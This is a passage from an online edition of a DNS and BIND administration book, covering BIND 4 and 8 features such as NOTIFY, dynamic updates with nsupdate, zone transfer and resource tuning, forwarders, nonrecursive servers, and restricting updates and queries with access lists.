avoids sending useless NOTIFY messages to the slaves for acmebw.com. A zone-specific NOTIFY setting overrides any global setting for that zone. Unfortunately, the current version of BIND doesn't allow you to turn off NOTIFY on a server-by-server basis.

BIND 8 even has a provision for adding servers to your "NOTIFY list" besides those in your zone's NS records. For example, you may have one or more unregistered slave servers (described in Chapter 8, Growing Your Domain) that you'd still like to pick up zone changes quickly. Or the server you're configuring may be a slave for the zone, but is the master server for another slave, and needs to send NOTIFY messages to it.

To add a server to your NOTIFY list, use the also-notify substatement of the zone statement:

zone "acmebw.com" {
                type master;
                file "db.acmebw.com";
                notify yes;
                also-notify 15.255.152.4;
};

Previous: 10.1 Address Match Lists and ACLs | DNS & BIND | Next: 10.3 DNS Dynamic Update
10.1 Address Match Lists and ACLs | Book Index | 10.3 DNS Dynamic Update


[Chapter 10] 10.3 DNS Dynamic Update

DNS & BIND

DNS & BINDSearch this book
Previous: 10.2 DNS NOTIFY (Zone Change Notification) Chapter 10
Advanced Features and Security 		Next: 10.4 System Tuning

10.3 DNS Dynamic Update

BIND 8 also supports the dynamic update facility described in RFC 2136. This permits authorized updaters to add and delete resource records from a zone for which the server is authoritative. An updater can find the authoritative name servers for a zone by retrieving the zone's NS records. If the server receiving an authorized update message is not the primary master for the zone, it will forward the update "upstream" to its master server(s). If they, in turn, are slaves for the zone, they will also forward the update upstream.

Dynamic update permits more than the simple addition and deletion of records. Updaters can add or delete individual resource records, delete RRsets (a set of resource records with the same domain name, class and type, such as all Internet addresses for www.acmebw.com), or even delete all records associated with a given name. An update can also stipulate that certain prerequisite records exist or not exist in the zone before the update takes effect. For example, an update can add the address record:

dakota.west.acmebw.com.          in      a       192.168.1.4

only if the name dakota.west.acmebw.com isn't currently being used, or only if dakota.west.acmebw.com currently has no address records.

For the most part, dynamic update functionality is used by programs like DHCP servers that assign IP addresses automatically to computers, and then need to register the resulting name-to-address and address-to-name mappings. These programs use the ns_update() routine to create update messages and send them to an authoritative server for the zone that contains the domain name.

However, it is possible to create updates manually with the command-line program nsupdate, which is part of the standard BIND distribution. nsupdate reads one-line commands that it then translates into an update message. Commands can be specified on standard input (the default) or in a file, whose name must be given as an argument to nsupdate. Commands not separated by a blank line are incorporated into the same update message.

The commands nsupdate understands are:

prereq yxrrset domain name type [rdata]

Makes the existence of an RRset of type type owned by domain name a prerequisite to performing the update

prereq nxrrset

Makes the non-existence of an RRset of type type owned by domain name a prerequisite to performing the update specified in successive update commands

prereq yxdomain domain name

Makes the existence of the domain name specified a prerequisite to performing the update

prereq nxdomain

Makes the non-existence of the domain name specified a prerequisite to performing the update

update delete domain name [type] [rdata]

Deletes the domain name specified or, if type is also specified, deletes the RRset specified or, if rdata is also specified, deletes the record matching domain name, type, and rdata

update add domain name ttl [class] type rdata

Adds the record specified to the zone. Note that the TTL, in addition to the type and resource-record-specific data, must be included, but the class is optional, and defaults to IN

So, for example, the command:

% nsupdate
> prereq nxdomain dakota.west.acmebw.com.
> update add dakota.west.acmebw.com. 333 in a 192.168.0.4
>

tells the server to add an address for dakota.west.acmebw.com only if the domain name does not already exist. Note that the last blank line is nsupdate's cue to send the update.

The command:

% nsupdate
> prereq yxrrset dakota.west.acmebw.com. in mx
> update delete dakota.west.acmebw.com. in mx
> update add dakota.west.acmebw.com. in mx 10 dakota.west.acmebw.com.
> update add dakota.west.acmebw.com. in mx 50 store-forward.mindspring.com.
>

checks to see whether dakota.west.acmebw.com already has MX records, and if it does, deletes them and adds two in their place.

Given the fearsome control that dynamic updates obviously give an updater over a zone, you clearly need to restrict them, if you use them at all. By default, BIND 8 servers don't allow dynamic updates to authoritative zones. In order to use them, you add an allow-update substatement to the zone statement for the zone that you'd like to allow updates to.

allow-update takes an address match list as an argument. The address or addresses matched by the list are the only addresses that are allowed to send your server updates to that zone. It's prudent to make this access list as restrictive as possible:

zone "acmebw.com" {
                type master;
                file "db.acmebw";
                allow-update { 192.168.0.1; };
};

Previous: 10.2 DNS NOTIFY (Zone Change Notification) | DNS & BIND | Next: 10.4 System Tuning
10.2 DNS NOTIFY (Zone Change Notification) | Book Index | 10.4 System Tuning


[Chapter 10] 10.4 System Tuning

DNS & BIND

DNS & BINDSearch this book
Previous: 10.3 DNS Dynamic Update Chapter 10
Advanced Features and Security 		Next: 10.5 Name Server Address Sorting

10.4 System Tuning

While the default configuration values will work fine for most sites, yours may be one of the rare sites that needs some further tuning.

10.4.1 Zone Transfers

Zone transfers can place a heavy load on a name server. On BIND 4 name servers, outbound zone transfers (transfers of a zone the server is master for), in particular, require fork()ing the named process, thereby using a significant amount of extra memory. BIND 4.9 introduced mechanisms for limiting the zone transfer load that your name server places on its master servers. BIND 8 has these mechanisms and more.

10.4.1.1 Limiting transfers initiated per name server

With BIND 4.9 and later, you can limit how many zones your name server requests from a single remote name server. This will make the administrator of the remote name server host happy because their machine won't be pounded for zone transfers if all of the zones change - important if hundreds of zones are involved.

In BIND 8, the conf file statement is:

options {
                transfers-per-ns 2;
};

The equivalent BIND 4 boot file directive is:

limit transfers-per-ns 2

With a forthcoming version of BIND 8 (we're not sure which), you'll also be able to set the limit on a server-by-server basis, instead of globally. To do this, you'd use the transfers substatement inside a server statement, where the server is the server you'd like to specify the limit for:

server 192.168.1.2 {
                transfers 2;
};

The default limit is two active zone transfers per name server. That limit may seem small, but it works. Here is what happens. Suppose your name server needs to load four zones from a remote name server. Your name server will start transferring the first two zones and wait on the third and fourth zone. After one of the first two zone transfers completes, the third zone will be requested. After another transfer completes, the fourth zone will be started. The net result is the same as before there were limits - all the zones are transferred - but the work is spread out.

When might you want to increase this limit? You might want to increase this limit if you notice that it is taking too long to synch up with the remote name server, and you know that the reason is the serializing of transfers - not just that the network between the machines is slow. This probably only matters if you're maintaining hundreds or thousands of zones. And you need to make sure that the remote name server and the networks between can handle the additional workload of more simultaneous zone transfers.

10.4.1.2 Limiting the total number of zone transfers initiated

The last limit dealt with a single remote name server. This one deals with more than one remote name server. BIND versions 4.9 and later let you limit the total number of zones your server will request at any one time. The default limit is ten. As we explained above, your server will only pull two zones from any given remote name server by default. If your server is transferring two zones from each of five name servers, your server will have hit the limit, and it will postpone any further transfers until one of the current transfers finishes.

The BIND 8 named.conf file statement is:

options {
                transfers-in 10;
};

The equivalent BIND 4 boot file directive is:

limit transfers-in 10

If your host or network cannot handle ten active zone transfers, you should decrease this number. If you run a server supporting hundreds or thousands of zones, and your host and network can support the load, you might want to raise this limit. If you raise this limit, you may also need to also raise the limit for the number of transfers per name server. (For example, if your name server loads from only four remote name servers, and your name server will only start two transfers per remote name server, then your server will have at most eight active zone transfers. Increasing the limit for the total number of zone transfers will not have any effect unless the limit per server is also increased.)

10.4.1.3 Limiting the duration of a zone transfer

BIND 8 will also let you limit the duration of an inbound zone transfer. By default, zone transfers are limited to 120 minutes, or two hours. The idea is that a zone transfer that's taking longer than 120 minutes is probably hung and won't complete, and the named-xfer process is taking up resources unnecessarily. If you'd like a smaller or larger limit, perhaps because you know that your server is a slave for a zone that normally takes more than 120 minutes to transfer, you can use this statement:

options {
                max-transfer-time-in 180;
};

You can even place the limit on transfers of a particular zone by using the max-transfer-time-in substatement inside a zone statement. For example, if you know that the rinkydink.com zone always takes a long time (say three hours) to transfer, either because of its size or because the links to the master server are so slow, but you'd still like a shorter time limit (maybe an hour) on other zone transfers, you could use:

options {
                max-transfer-time-in 60;
};

zone "rinkydink.com" {
                type slave;
                file "db.rinkydink";
                masters { 192.168.1.2; };
                max-transfer-time-in 180;
};

10.4.1.4 More efficient zone transfers

A zone transfer, we said earlier, is composed of many DNS messages sent end-to-end over a TCP connection. Traditional zone transfers only put a single resource record in each DNS message. That's a waste of space: you need a full header on each DNS message, even though you're only carrying a single record. It's like being the only person in a Chevy Suburban. A DNS message could carry many more records.

BIND 8 servers understand a new zone transfer format, called many-answers. The many-answers format puts as many records as possible into a single DNS message. The result is that a many-answers zone transfer takes less bandwidth, because there's less overhead, and less CPU time, because less time is spent unmarshaling DNS messages.

The BIND 8 transfer-format subcommand controls which zone transfer format the server uses for zones that it is a master for. That is, it determines the format of the zones that your server transfers to its slaves. transfer-format is both an options subcommand and a server subcommand: as an options subcommand, transfer-format controls the server's global zone transfer behavior. The default is to use the old one-answer zone transfer format, for interoperability with BIND 4 name servers.

options {
                transfer-format many-answers;
};

changes the server's settings to use the many-answers format for all servers, unless explicitly told not to in a server statement, like this:

server 192.168.1.2 {
                transfer-format one-answer;
};

The one downside to using the many-answers format is that zone transfers can actually take longer using the new format. They're more efficient from a bandwidth and CPU utilization point of view, but your zone transfers may take longer to complete.

If you'd like to take advantage of the new, more efficient zone transfers, set your server's global zone transfer format setting to many-answers, if most of your slaves run BIND 8 or Microsoft's DNS Server, which also understands the format, or one-answer, if most of your slaves run BIND 4. Then use the transfer-format server substatement to adjust the global setting for exceptional servers.

10.4.2 Resource Limits

Sometimes, you just want to tell the server to stop being so greedy: don't use more than this much memory, don't open more than this many files. BIND 4.9 introduced these limits, and as with so many features, BIND 8 gives you several variations.

10.4.2.1 Changing the data segment size limit

Some operating systems have a default limit to stop processes from using too much memory. If your OS is limiting the name server from growing to the size it wants to grow to, the name server may not operate efficiently, and it may even panic or exit. Unless your name server handles an extremely large amount of data, you won't run into this limit. But if you do, BIND 4.9 and 8 have configuration options to change the system's default limit on data segment size. You might use these options to set a higher limit than the default system limit for the named process.

For BIND 8, the statement is:

options {
                datasize size
};

For BIND 4, the directive is:

limit datasize size

size is an integer value in bytes. You can specify a different unit than bytes by appending a character: k (kilobyte), m (megabyte), or g (gigabyte). For example, 64m is 64 megabytes.

NOTE: Not all systems support increasing the data segment size. If your system is one that does not, the name server will issue a syslog message at level LOG_WARNING to tell you that this feature is not implemented.

10.4.2.2 Changing the stack size limit

In addition to allowing you to change the limit on the size of the server's data segment, BIND 8 will let you adjust the limit the system places on the amount of memory the named process' stack can use. The syntax is:

options {
                stacksize size;
};

where size is specified as in datasize. As with datasize, this feature only works on systems that permit modification of the stack size limit.

10.4.2.3 Changing the core size limit

If you don't appreciate named's leaving huge core files around on your filesystem, you can at least make them smaller by using coresize. Conversely, if named hasn't been able to dump an entire core file because of a tight operating system limit, you may be able to raise that limit with coresize.

coresize's syntax is:

options {
                coresize size;
};

Again, as with datasize, this feature only works on operating systems that support modifying the limit on core file size.

10.4.2.4 Changing the open files limit

On hosts with many IP addresses, or a low limit on the maximum number If your name server is authoritative for a lot of zones, the named process will open lots of files when it starts up - one per authoritative zone, assuming you use backup files on the zones you're a slave for. Likewise, if the host running your name server has lots of virtual network interfaces,[1] named will require one file descriptor per interface. Most UNIX operating systems place a limit on the number of files any process can open simultaneously. If your name server tries to open more files than this limit permits, you'll see this message in your syslog output:

[1] Chapter 15, Miscellaneous, describes a better solution to the "Too many open files" problem than bumping up the limit on files.

named[pid]: socket(SOCK_RAW): Too many open files

If your operating system also permits changing that limit on a per-process basis, you can increase it using BIND 8's files substatement:

options {
                files number;
};

The default is unlimited (which is also a valid value), although this just means that the server doesn't place any limit on the number of simultaneously open files; the operating system, however, may.

10.4.3 Maintenance Intervals

BIND name servers have always done periodic housekeeping: refreshing zones the server is a slave for, for example. With BIND 8, you can now control how often these chores happen, or whether they happen at all.

10.4.3.1 Cleaning interval

Name servers older than BIND 4.9 only passively remove stale entries from the cache. Before such a name server returns a record to a querier, it checks to see whether the TTL on that record has expired. If it has, the name server starts the resolution process to find more current data. This means that a BIND 4 server may cache a lot of records in a flurry of name resolution, and then just let those records spoil in the cache, taking up valuable memory, even though the records are stale.

BIND 8 now actively walks through the cache and removes stale records once each cleaning interval. This means that a BIND 8 name server will tend to use less memory for caching than a BIND 4 server in the same role. On the other hand, the cleaning process takes CPU time, and on very slow or very busy name servers, you may not want it running every hour.

By default, the cleaning interval is 60 minutes. You can tune the interval with the cleaning-interval substatement to the options statement. For example:

options {
                cleaning-interval 120;
};

sets the cleaning interval to 120 minutes. To turn off cache cleaning entirely, use a cleaning interval of zero.

10.4.3.2 Interface interval

We've said already that BIND, by default, listens on all of a host's network interfaces. BIND 8 is actually smart enough to notice when a network interface on the host it's running on comes up or goes down. To do this, it periodically scans the host's network interfaces. This happens once each interface interval, which is 60 minutes by default. If you know the host your name server runs on has no dynamic network interfaces, you can disable scanning for new interfaces by setting the interface interval to zero to avoid unnecessary hourly overhead:

options {
                interface-interval 0;
};

On the other hand, if your host brings up or tears down network interfaces more often than every hour, you may want to reduce the interval.

10.4.3.3 Statistics interval

Okay, adjusting the statistics interval - the frequency at which the BIND 8 server dumps statistics to the statistics file - won't have much effect on performance. But it fits better here, with the other maintenance intervals, than anywhere else in the book.

The syntax of the statistics-interval substatement is exactly analogous to the other maintenance intervals:

options {
                statistics-interval 60;
};

And, as with the other maintenance intervals, the default is 60 minutes, and a setting of zero disables the periodic dumping of statistics.

Previous: 10.3 DNS Dynamic Update | DNS & BIND | Next: 10.5 Name Server Address Sorting
10.3 DNS Dynamic Update | Book Index | 10.5 Name Server Address Sorting


[Chapter 10] 10.5 Name Server Address Sorting

DNS & BIND

DNS & BINDSearch this book
Previous: 10.4 System Tuning Chapter 10
Advanced Features and Security 		Next: 10.6 Preferring Name Servers on Certain Networks

10.5 Name Server Address Sorting

When you are contacting a host that has multiple network interfaces, using a particular interface may give you better performance. If the multihomed host is local and shares a network with your host, one of the multihomed host's addresses is "closer." If the multihomed host is remote, you may see better performance by using one of the interfaces instead of another, but often it doesn't matter much which address is used. In days past, net 10 (the former ARPAnet "backbone") was always closer than any other remote address. The Internet has improved drastically since those days, so you won't often see a marked improvement by preferring one network over another for remote multihomed hosts, but we'll cover that case anyway.

Before we get into address sorting by a name server, you should first look at whether address sorting by the resolver better suits your needs. (See the section called "The sortlist Directive" in Chapter 6, Configuring Hosts.) Since your resolver and name server may be on different networks, it often makes more sense for the resolver to sort addresses optimally for its host. Address sorting at the name server works fairly well, but it won't be optimal for every resolver it services. Resolver address sorting was added at 4.9. If your resolver (not your name server) is older than 4.9, you are out of luck. You'll have to make do with address sorting at the name server, which was introduced in 4.8.3.

We should also mention that address sorting is not supported in BIND 8. For BIND 8, the developers removed address sorting because they believed that it had no place in the server.

10.5.1 Local Multihomed Hosts

Let's deal with the local multihomed host first. Suppose you have a source host (i.e., a host that keeps your master sources) on two networks, cleverly called network A and network B, and this host uses NFS to export filesystems to hosts on both networks. Hosts on network A will experience better performance if they use the source host's interface to network A. Likewise, hosts on network B would benefit from using the source host's interface to network B for the address of the NFS mount.

In Chapter 4, Setting Up BIND, we mentioned that BIND returns all the addresses for a multihomed host. There was no guarantee of the order in which a DNS server would return the addresses, so we assigned aliases (wh249 and wh253 for wormhole) to the individual interfaces. If one interface was preferable, you (or more realistically, a DNS client) could use an appropriate alias to get the correct address. You can use aliases to choose the "closer" interface (e.g., for setting up NFS mounts), but because of address sorting, they are not always necessary.

BIND 4 servers, by default, sort addresses if one condition holds: if the host that sent the query to the name server shares a network with the name server host (e.g., both are on network A), then BIND sorts the addresses in the response. How does BIND know when it shares a network with the querier? It knows because when BIND starts up, it finds out all the interface addresses of the host it is running on. BIND extracts the network numbers from these addresses to create the default sort list. When a query is received, BIND checks if the sender's address is on a network in the default sort list. If it is, then the query is local and BIND sorts the addresses in the response.

In Figure 10.3, assume that there is a BIND 4 name server on notorious. The name server's default sort list would contain network A and network B. When spellbound sends a query to notorious looking up the addresses of notorious, it will get an answer back with notorious's network A address first. That's because notorious and spellbound share network A. When charade looks up the addresses of notorious, it will get an answer back with notorious's network B address first. Both hosts are on network B. In both of these cases, the name server sorts the addresses in the response because the hosts share a network with the name server host. The sorted address list has the "closer" interface first (see Figure 10.3).

Figure 10.3: Communicating with a local multihomed host

Let's change the situation slightly. Suppose the name server is running on gaslight. When spellbound queries gaslight for notorious's address, spellbound will see the same response as in the last case because spellbound and gaslight share network A, which means that the name server will sort the response. However, charade may see a differently-ordered response, since it does not share a network with gaslight. The closer address for notorious may still be first in the response to charade, but only because of luck, not name server address sorting. In this case, you'd have to run an additional name server on network B for charade to benefit from BIND 4's default address sorting.

As you can see, you benefit by running a name server on each network; not only is your name server available if your router goes down, it also sorts addresses of multihomed hosts. Because the name server sorts addresses, you do not need to specify aliases for NFS mounts or network logins to get the best response.

10.5.2 Remote Multihomed Hosts

Suppose that your site often contacts a particular remote site or a "distant" local site, and that you get better performance by favoring addresses on one of the remote site's networks. For instance, the movie.edu domain has networks 192.249.249 and 192.253.253. Let's add a connection to net 10 (the old ARPAnet). The remote host being contacted has two network connections, one to network 10 and one to network 26. This host does not route to network 26, but for special reasons it has a network 26 connection. Since the router to network 26 is always overloaded, you'll get better performance by using the remote host's net 10 address. Figure 10.4 shows this situation.

Figure 10.4: Communicating with a remote multihomed host

If a user on terminator is contacting reanimator, it's preferable to use the network 10 address, because access through gateway B to the network 26 address will be slower than the direct route. Unfortunately, the name server running on terminator will not intentionally place network address 10 first in the list when it looks up the addresses for reanimator; the only network that terminator is attached to is 192.249.249, and so it doesn't know that network 10 is "closer" than network 26. This is where the sortlist boot file entry comes into play. To indicate a preference for network 10 addresses, add the following line to named.boot:

sortlist 10.0.0.0

The sortlist entries are appended to the default sort list. With this sortlist entry, the sort list on terminator now contains networks 192.249.249 and 10. Now, when a user on terminator queries the name server on terminator, and the name server sorts the response because the query is local, the name server will check for addresses on the 192.249.249 network and place them first in the response. If there are no addresses on network 192.249.249, it will check for network 10 addresses and place them first in the response. This solves the problem we described earlier - when reanimator is looked up, its network 10 address will be placed first in the response.

10.5.3 Address Sorting on Subnetted Networks

Subnetted networks change address sorting only slightly. When the name server creates its default sort list, it adds both the subnet number and the network number to the list. Like before, when the query is local and the name server sorts the response, the common subnet address will be placed first. Unfortunately, not everything is perfect - you can't add sortlist entries for other subnets of your network. Here's why: the name server assumes all the sortlist entries are network numbers (not subnet numbers), and your network number is already on the sort list. Since your network number is already on the list, the subnet sortlist entry is discarded.

10.5.4 Multiple Sortlist Entries

One last thing - if you want to add more than one sortlist entry, you must specify them all on the same line, like this:

sortlist 10.0.0.0 26.0.0.0

Previous: 10.4 System Tuning | DNS & BIND | Next: 10.6 Preferring Name Servers on Certain Networks
10.4 System Tuning | Book Index | 10.6 Preferring Name Servers on Certain Networks


[Chapter 10] 10.6 Preferring Name Servers on Certain Networks

DNS & BIND

DNS & BINDSearch this book
Previous: 10.5 Name Server Address Sorting Chapter 10
Advanced Features and Security 		Next: 10.7 Building Up a Large Site-wide Cache with Forwarders

10.6 Preferring Name Servers on Certain Networks

BIND 8's topology feature is somewhat similar to sortlist, but it only applies to the process of choosing name servers. We described how BIND chooses between a number of name servers that are authoritative for the same zone earlier in the book - by selecting the name server with the lowest roundtrip time. But we lied - a little. BIND 8 actually places remote name servers in 64 millisecond bands when comparing RTT. The first band is actually only 32 milliseconds wide (there! We did it again), from zero to 32 milliseconds. The next extends from 33 to 96 milliseconds, and so on. The bands are designed so that name servers on different continents will always be in different bands.

The idea is to favor name servers in lower bands but to treat servers in the same band as equivalent. If a name server compares two remote servers' RTTs and one is in a lower band, the name server will choose to send the query to the name server in the lower band. But if the remote servers are in the same band, the name server will check to see whether one of the remote servers is topologically closer.

Topology lets you introduce yet another element of fudge into the process of choosing a name server to query. Topology lets you favor name servers on certain networks over others. Topology takes as an argument an address match list, where the entries are networks, listed in the order in which the local name server should prefer them (highest to lowest). Therefore:

topology {
                15/8;
                172.88/16;
};

tells the local name server to prefer name servers on the network 15.0.0.0 over other name servers, and name servers on the network 172.88.0.0 over name servers on networks other than network 15.0.0.0. So if the name server has a choice between a name server on network 15.0.0.0, a name server on 172.88.0.0, and a name server on 192.168.1.0, assuming all three have RTT values in the same band, it will choose to query the name server on 15.0.0.0.

You can also negate entries in the topology address match list to penalize name servers on certain networks. The higher in the address match list the negated entry matches, the greater the penalty.

Previous: 10.5 Name Server Address Sorting | DNS & BIND | Next: 10.7 Building Up a Large Site-wide Cache with Forwarders
10.5 Name Server Address Sorting | Book Index | 10.7 Building Up a Large Site-wide Cache with Forwarders


[Chapter 10] 10.7 Building Up a Large Site-wide Cache with Forwarders

DNS & BIND

DNS & BINDSearch this book
Previous: 10.6 Preferring Name Servers on Certain Networks Chapter 10
Advanced Features and Security 		Next: 10.8 A More Restricted Name Server

10.7 Building Up a Large Site-wide Cache with Forwarders

Certain network connections discourage sending large volumes of traffic off-site, either because the network connection is pay-per-packet or because the network connection is a slow link with a high delay, like a remote office's satellite connection to the company's network. In these situations, you'll want to limit the off-site DNS traffic to the bare minimum. BIND provides a mechanism to do this: forwarders.

If you designate one or more servers at your site as forwarders, all the off-site queries are sent to the forwarders first. The idea is that the forwarders handle all the off-site queries generated at the site, building up a rich cache of information. For any given query in a remote domain, there is a high probability that the forwarder can answer the query from its cache, avoiding the need for the other servers to send packets off-site. Nothing special is done to these servers to make them forwarders; you modify all the other servers at your site to direct their queries through the forwarders.

A primary master or slave name server's mode of operation changes slightly when it is directed to use a forwarder. If the requested information is already in its database of authoritative data and cache data, it answers with this information; this part of the operation hasn't changed. However, if the information is not in its database, the name server will send the query to a forwarder and wait a short period for an answer before resuming normal operation and contacting the remote servers itself. What the name server is doing that's different is sending a recursive query to the forwarder, expecting it to find the answer. At all other times, the name server sends out nonrecursive queries to other name servers and deals with responses that only refer to other name servers.

For example, here is the forwarders conf file statement - and the equivalent BIND 4 boot file directive - for name servers in the movie.edu domain. Both wormhole and terminator are the site forwarders. This forwarders statement is added to every name server conf file except the conf files for the forwarders, wormhole and terminator:

options {
                forwarders { 192.249.249.1; 192.249.249.3; };
};

The equivalent BIND 4 directive is:

forwarders 192.249.249.1 192.249.249.3

When you use forwarders, try to keep your site configuration simple. You can end up with configurations that are really twisted.

Avoid having "mid-level" servers forward packets (i.e., avoid having a forwarders line in your mid-level name server's conf file). Mid-level servers mostly refer name servers to subdomain name servers. If they have been configured to forward packets, do they refer to subdomain name servers or do they contact the subdomain name server to find out the answer? Whichever way it works, you're probably making your site configuration too hard for mere mortals (and subdomain administrators) to understand.

NOTE: Avoid chaining your forwarders. Don't configure server A to forward to server B, and configure server B to forward to server C (or worse yet, back to server A).

Previous: 10.6 Preferring Name Servers on Certain Networks | DNS & BIND | Next: 10.8 A More Restricted Name Server
10.6 Preferring Name Servers on Certain Networks | Book Index | 10.8 A More Restricted Name Server


[Chapter 10] 10.8 A More Restricted Name Server

DNS & BIND

DNS & BINDSearch this book
Previous: 10.7 Building Up a Large Site-wide Cache with Forwarders Chapter 10
Advanced Features and Security 		Next: 10.9 A Nonrecursive Name Server

10.8 A More Restricted Name Server

You may want to restrict your name servers even further - stopping them from even trying to contact an off-site server if their forwarder is down or doesn't respond. You can do this by making the server a forward-only server. (A forward-only server is still a primary master, slave, or caching-only server; don't get confused here. We call it a forward-only server because calling it a primary master, slave, or caching-only forward-only server is just too long a name.) A forward-only server is a variation on a server that uses forwarders. It still answers queries from its authoritative data and cache data. However, it relies completely on its forwarders; it doesn't try to contact other servers to find out information if the forwarders don't give it an answer. Here is an example of what a forward-only server's conf file would contain:

options {
                forwarders { 192.249.249.1; 192.249.249.3; };
                forward-only;
};

On a BIND 4 name server, that would look like:

forwarders 192.249.249.1 192.249.249.3
options forward-only

BIND name servers before 4.9 provide the same functionality, using the slave directive instead of the options forward-only directive:

forwarders 192.249.249.1 192.249.249.3
slave

Don't confuse this old use of the term "slave" with the modern use. "Slave" now means a name server that gets the data that describes a zone from a master server via a zone transfer.

You must have the forwarders line in the conf or boot file. It does not make sense to have only the forward-only line. If you do create a forward-only name server, you might want to consider including the forwarders' IP addresses more than once. On a BIND 8 server, that would look like:

options {
                forwarders { 192.249.249.1; 192.249.249.3;
                        192.249.249.1; 192.249.249.3; };
                forward-only;
};

On a BIND 4 server, that's:

forwarders 192.249.249.1 192.249.249.3 192.249.249.1 192.249.249.3
options forward-only

The forward-only server contacts each forwarder only once, and it waits a short time for the forwarder to respond. Listing the forwarders multiple times directs the forward-only server to retransmit queries to the forwarders, and increases the overall length of time that the forward-only name server will wait for an answer from forwarders.

However, you must ask yourself if it ever makes sense to use a forward-only server. A forward-only server is completely dependent on the forwarders. You can achieve much the same configuration (and dependence) by not running a forward-only server at all; instead, create a resolv.conf file that contains nameserver directives that point to the forwarders you were using. Thus, you are still relying on the forwarders, but now your applications are querying the forwarders directly instead of having a forward-only name server query them for the applications. You lose the local caching that the forward-only server would have done, and the address sorting, but you reduce the overall complexity of your site configuration by running fewer "restricted" name servers.

Previous: 10.7 Building Up a Large Site-wide Cache with Forwarders | DNS & BIND | Next: 10.9 A Nonrecursive Name Server
10.7 Building Up a Large Site-wide Cache with Forwarders | Book Index | 10.9 A Nonrecursive Name Server


[Chapter 10] 10.9 A Nonrecursive Name Server

DNS & BIND

DNS & BINDSearch this book
Previous: 10.8 A More Restricted Name Server Chapter 10
Advanced Features and Security 		Next: 10.10 Avoiding a Bogus Name Server

10.9 A Nonrecursive Name Server

By default, BIND resolvers send recursive queries, and BIND name servers do the work required to answer recursive queries. (If you don't remember how recursion works, look in Chapter 2, How Does DNS Work?.) In the process of finding the answer to recursive queries, the name server builds up a cache of nonauthoritative information about other domains.

In some circumstances, it is undesirable for name servers to do the extra work required to answer a recursive query or to build up a cache of data. The root name servers are an example of one of these circumstances. The root name servers are so busy that they should not be spending the extra effort to recursively find the answer to a request. Instead, they send a response based only on the authoritative data they have. The response may contain the answer, but it is more likely that the response contains a referral to other name servers. And since the root servers do not support recursive queries, they do not build up a cache of nonauthoritative data, which is good because their cache would be huge.[2]

[2] Note that a root name server wouldn't normally receive recursive queries, unless a name server's administrator configured it to use a root server as a forwarder, a host's administrator configured its resolver to use the root server as a name server, or a user pointed nslookup at the root server.

You can induce BIND to run as a nonrecursive name server with the following conf file statement:

options {
                recursion no;
};

On a BIND 4.9 server, that's the directive:

options no-recursion

Now the server will respond to recursive queries as though they were nonrecursive.

In conjunction with recursion no, there is one more configuration option necessary if you want to stop your server from building a cache:

options {
                fetch-glue no;
};

Or, on BIND 4.9:

options no-fetch-glue

This stops the server from fetching missing glue when constructing the additional data section of a response.

If you choose to make one of your servers nonrecursive, do not list this name server in any host's resolv.conf file. While you can make your name server nonrecursive, there is no corresponding option to make your resolver work with a nonrecursive name server.[3]

[3] In general. Clearly, programs designed to send nonrecursive queries, or that can be configured to send nonrecursive queries, like nslookup, would still work.

You can list a nonrecursive name server as one of the servers authoritative for your zone data (i.e., you can tell a parent name server to refer queries about your zone to this server). This works because name servers send nonrecursive queries between themselves.

Do not list a nonrecursive name server as a forwarder. When a name server is using another server as a forwarder, it sends the query to the forwarder as a recursive query instead of a nonrecursive query.

Previous: 10.8 A More Restricted Name Server | DNS & BIND | Next: 10.10 Avoiding a Bogus Name Server
10.8 A More Restricted Name Server | Book Index | 10.10 Avoiding a Bogus Name Server


[Chapter 10] 10.10 Avoiding a Bogus Name Server

DNS & BIND

DNS & BINDSearch this book
Previous: 10.9 A Nonrecursive Name Server Chapter 10
Advanced Features and Security 		Next: 10.11 Securing Your Name Server

10.10 Avoiding a Bogus Name Server

In your term as name server administrator, you might find some remote name server that responds with bad information. You can attempt to find an administrator to fix the problem. Or, you can save yourself some grief and configure your name server to not ask questions of this server, which is possible with BIND 4.9 and later. Here is the conf file statement:

server 10.0.0.2 {
                bogus yes;
};

Or, on a BIND 4.9 server:

bogusns 10.0.0.2

Of course, you fill in the correct IP address.

If this is the only server for a zone, and you just told your name server to stop talking to that server, don't expect to be able to look up names in that zone. Hopefully, there are other servers for that zone that can provide good information.

Previous: 10.9 A Nonrecursive Name Server | DNS & BIND | Next: 10.11 Securing Your Name Server
10.9 A Nonrecursive Name Server | Book Index | 10.11 Securing Your Name Server


[Chapter 10] 10.11 Securing Your Name Server

DNS & BIND

DNS & BINDSearch this book
Previous: 10.10 Avoiding a Bogus Name Server Chapter 10
Advanced Features and Security 		Next: 10.12 Load Sharing Between Mirrored Servers

10.11 Securing Your Name Server

BIND 4.9 introduced several important security features that help you protect your name server. BIND 8 continued the tradition by introducing several more. These features are particularly important if your name server is running on the Internet, but they may also be useful on purely internal name servers.

We'll start by discussing measures you should take on all name servers for which security is important. Then we'll describe a model in which your name servers are split into two communities, one for serving only resolvers and one for answering other name servers' queries.

10.11.1 BIND Version

One of the most important ways you can enhance the security of your name server is to run the latest version of BIND. All versions of BIND before 4.9.7 are susceptible to at least a few known attacks.[4] BIND 8.1.2 is an even better bet, because of the many new security mechanisms it introduced.

[4] In fact, part of the reason there is a BIND 4.9.7, and the BIND 4 release stream didn't stop with 4.9.6, was 4.9.6's vulnerability to a particular attack.

But don't stop there: New attacks are being thought up all the time, so you'll have to do your best to keep abreast of BIND's vulnerabilities and the latest "safe" version of BIND. One good way to do that is to read the newsgroup comp.protocols.dns.bind regularly.

10.11.2 Restricting Queries

Up until BIND 4.9, domain administrators had no way to control who could look up data on their name servers. That makes a certain amount of sense; the original idea behind DNS was to make information easily available all over the Internet.

The neighborhood is not such a friendly place anymore, though. In particular, people who run Internet firewalls may have a legitimate need to hide certain parts of their name space from most of the world but to make it available to a limited audience.

The BIND 8 allow-query substatement allows you to place an IP address-based access list on queries. The access list can apply to a particular zone, or to any queries received by the server. In particular, the access list specifies which IP addresses are allowed to send queries to the server.

10.11.2.1 Restricting all queries

The global form of the allow-query substatement looks like this:

options {
                allow-query { address_match_list; };
};

So to restrict our name server to answering queries from the two main Movie U. networks, we'd use:

options {
                allow-query { 192.249.249/24; 192.253.253/24; };
};

10.11.2.2 Restricting queries in a particular zone

BIND 8 also allows you to apply an access list to a particular zone. In this case, just use allow-query as a substatement of the zone statement for the zone you want to protect:

zone "hp.com" {
                type slave;
                file "db.hp";
                masters { 15.255.152.2; };
                allow-query { "HP-NET"; };
};

